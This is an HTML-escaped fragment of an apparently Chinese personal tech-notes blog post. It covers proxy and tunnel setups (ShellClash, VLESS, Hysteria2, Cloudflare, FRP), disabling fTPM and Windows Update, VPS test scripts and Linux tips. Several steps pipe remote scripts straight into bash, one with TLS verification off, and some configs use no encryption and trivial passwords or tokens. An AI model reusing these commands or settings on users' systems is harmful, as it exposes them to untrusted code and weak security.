&lt;pre&gt;&lt;code&gt;sudo rm -rf /var/lib/zerotier-one/identity.*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意identity.* 文件包含你的 Node ID如果删除ZeroTier 会生成新的 Node ID。&lt;/p&gt;
&lt;p&gt;启动 ZeroTier 服务:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl start zerotier-one
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;r2.py所需依赖&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;pip install keyboard pyperclip pillow boto3 pyautogui
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ShellClash&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash &lt;code&gt;config.yaml&lt;/code&gt; 来实现&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://github.com/juewuy/ShellCrash&lt;/p&gt;
&lt;p&gt;Tg通知频道https://t.me/ShellClash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &quot;$(curl -kfsSl https://r2.072103.xyz/shellclash.sh)&quot; &amp;amp;&amp;amp; source /etc/profile &amp;amp;&amp;gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开CLIclash、crash
导入配置文件6-2
安装本地Web面板9-4-1
开机自启4-1&lt;/p&gt;
&lt;h1&gt;Vless通用配置不加密&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;inbounds&quot;: [
{
&quot;port&quot;: 1080, // 监听端口,可以根据需要修改
&quot;protocol&quot;: &quot;vless&quot;, // 使用 VLESS 协议
&quot;settings&quot;: {
&quot;clients&quot;: [
{
&quot;id&quot;: &quot;0721-07210721onani&quot;, // 这里是一个 UUID用于识别用户
&quot;level&quot;: 0, // 用户等级,设置为 0 表示普通用户
&quot;email&quot;: &quot;user@example.com&quot; // 用户邮箱(可选)
}
],
&quot;decryption&quot;: &quot;none&quot; // 设置为 none表示没有加密
},
&quot;streamSettings&quot;: {
&quot;network&quot;: &quot;tcp&quot;, // 使用 TCP 网络
&quot;security&quot;: &quot;none&quot; // 不使用加密,适用于 VLESS
}
}
],
&quot;outbounds&quot;: [
{
&quot;protocol&quot;: &quot;freedom&quot;, // 允许自由流量通过
&quot;settings&quot;: {}
}
],
&quot;routing&quot;: {
&quot;rules&quot;: []
}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;AMD笔记本优化&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;目标关闭fTPM并且禁止系统重新安装、关闭Windows自动更新&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;关闭fTPM 组策略编辑器:&lt;code&gt;计算机配置 - 管理模板 - 系统 - 设备安装 - 设备安装限制 - 阻止安装与下列任何设备实例 ID 相匹配的设备&lt;/code&gt; 填写:设备管理器中的&lt;strong&gt;受信任的平台模块 2.0&lt;/strong&gt;&lt;code&gt;详细信息 - 设备实例路径&lt;/code&gt;中的值&lt;/li&gt;
&lt;li&gt;关闭Windows自动更新&lt;code&gt;计算机配置 - 管理模板 - Windows组件 - Windows更新&lt;/code&gt;中的:
&lt;ul&gt;
&lt;li&gt;配置自动更新 - 已禁用&lt;/li&gt;
&lt;li&gt;删除所有使用Windows更新功能的访问权限 - 已启用&lt;/li&gt;
&lt;li&gt;不要连接任何Windows更新Internet位置 - 已启用&lt;/li&gt;
&lt;li&gt;Windows更新不包括驱动更新 - 已启用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;VPS融合怪测试脚本&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -sL kejilion.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;融合怪测试8-32&lt;/li&gt;
&lt;li&gt;IP纯净度测试8-4&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;哪吒探针Cloudflare版&lt;/h1&gt;
&lt;p&gt;https://github.com/yumusb/nezha-new&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;VPS一键魔法脚本&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hysteria2UDP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL https://raw.githubusercontent.com/0x0129/hysteria2/main/install.sh) -port 0721
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vless+Trojan+Shadowsocks&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -s -L https://git.io/v2ray.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;x-ui&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;Hysteria2 服务端搭建(全平台通用)&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载 Hysteria2 可执行文件: https://github.com/apernet/hysteria/releases&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建自签名SSL/TLS证书&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建私钥:&lt;code&gt;openssl genpkey -algorithm RSA -out hy2.key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建证书签名请求:&lt;code&gt;openssl req -new -key hy2.key -out hy2.csr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建证书:&lt;code&gt;openssl x509 -req -in hy2.csr -signkey hy2.key -out hy2.crt -days 9999&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;config.yaml&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;listen: :443
tls:
cert: hy2.crt
key: hy2.key
auth:
type: password
password: 0721
masquerade:
type: proxy
proxy:
url: https://news.ycombinator.com/
rewriteHost: true
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;启动 Hysteria2参数&lt;code&gt;server&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;V2Ray客户端连接直链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hysteria2://0721@10.147.17.1:443?sni=bing.com&amp;amp;insecure=1#家里云
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;Cloudflare一键魔法&lt;/h1&gt;
&lt;p&gt;下载 https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到Cloudflare Pages设置UUID。访问 https://你的域名.pages.dev/UUID&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Cloudflare 优选方法&lt;/h1&gt;
&lt;h3&gt;A、AAAA、CNAME&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;B域名直接套CDN指向源站&lt;/li&gt;
&lt;li&gt;B域名开启SaaS设置回退源为指向源站的域名自定义主机名为A域名&lt;/li&gt;
&lt;li&gt;B域名指向优选域名不套CDN&lt;/li&gt;
&lt;li&gt;A域名指向B域名指向的优选域名的域名 不套CDN&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Cloudflare Pages&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;直接在Pages创建自定义域&lt;/li&gt;
&lt;li&gt;更改子域NS到阿里云云解析DNS&lt;/li&gt;
&lt;li&gt;在阿里云云解析DNS设置解析分流&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Cloudflare Workers&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;直接在Workers创建路由example.com/*&lt;/li&gt;
&lt;li&gt;将被设置路由的域名解析到优选域名&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Cloudflare 优选域名&lt;/h2&gt;
&lt;p&gt;二叉树树自用: fenliu.072103.xyz&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0cfff651-0590-4700-81f4-79c9e576c38d.Cnht0s1x.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.cmliussss.com/&quot;&gt;CM大佬&lt;/a&gt; cf.090227.xyz&lt;img src=&quot;https://blog.acofork.com/_astro/8f2ac2b4-b5b7-4d9e-8d80-103181e975a9.CJ6B15tt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.wetest.vip/page/cloudflare/cname.html&quot;&gt;微测网&lt;/a&gt;cloudflare.182682.xyz&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/1b8b0adb-f3bc-4513-814e-4f20529a86cf.DGg-lJEq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;魔法软件&lt;/h1&gt;
&lt;p&gt;Windows&lt;/p&gt;
&lt;p&gt;https://github.com/2dust/v2rayN&lt;/p&gt;
&lt;p&gt;Linux&lt;/p&gt;
&lt;p&gt;https://github.com/2dust/v2rayNG&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;使用Cloudflared中继RDP流量&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;cloudflared access rdp --hostname rdp.onani.cn --url rdp://localhost:3380
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;FRP相关&lt;/h1&gt;
&lt;h3&gt;FRP基本认证参数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;auth.token = &quot;07210721&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;FRP systemd服务配置开机自启&lt;/h3&gt;
&lt;p&gt;https://gofrp.org/zh-cn/docs/setup/systemd/&lt;/p&gt;
&lt;h1&gt;Linux Deb系安装Speedtest-cli&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;apt install -y lsb-release ca-certificates apt-transport-https curl gnupg dpkg
curl -sSL https://packagecloud.io/ookla/speedtest-cli/gpgkey | gpg --dearmor &amp;gt; /usr/share/keyrings/speedtest.gpg
echo &quot;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/speedtest.gpg] https://packagecloud.io/ookla/speedtest-cli/debian/ $(lsb_release -sc) main&quot; &amp;gt; /etc/apt/sources.list.d/speedtest.list
apt update
apt install -y speedtest
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Linux监控面版&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;apt install s-tui
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Windows超级牛逼包管理器https://scoop.sh&lt;/h1&gt;
&lt;hr /&gt;
&lt;h1&gt;Linux各发行版安装注意&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;非常新的版本一般才会有Realtek有线网卡的驱动&lt;/li&gt;
&lt;li&gt;安装Debian要使用CLI安装GUI安装会出现问题 &lt;s&gt;具体的问题我忘了&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;安装CentOS/Rocky一定要先安装GUI否则会导致上不了网&lt;/li&gt;
&lt;li&gt;除了Arch连接网络使用iwd其他发行版都可以用nmcli连接网络&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;国内Linux镜像注意事项&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;s&gt;USTC中科大源经常会用JavaScript进行客户端验证会导致wget和curl命令无法正确下载到文件&lt;/s&gt;&lt;a href=&quot;/posts/bypass-ustc-verifying/&quot;&gt;绕过USTC的浏览器JS验证 | AcoFork Blog&lt;/a&gt;。建议使用TUNA清华源&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;国内Docker镜像&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;1Panel Docker监控https://status.1panel.top/status/docker&lt;/li&gt;
&lt;li&gt;南京大学GHCR镜像源https://ghcr.nju.edu.cn&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;安徽财贸职业学院教务学生正确入口(课表导入)&lt;/h1&gt;
&lt;p&gt;https://authserver.afc.edu.cn/authserver/login&lt;/p&gt;
</content:encoded></item></channel></rss>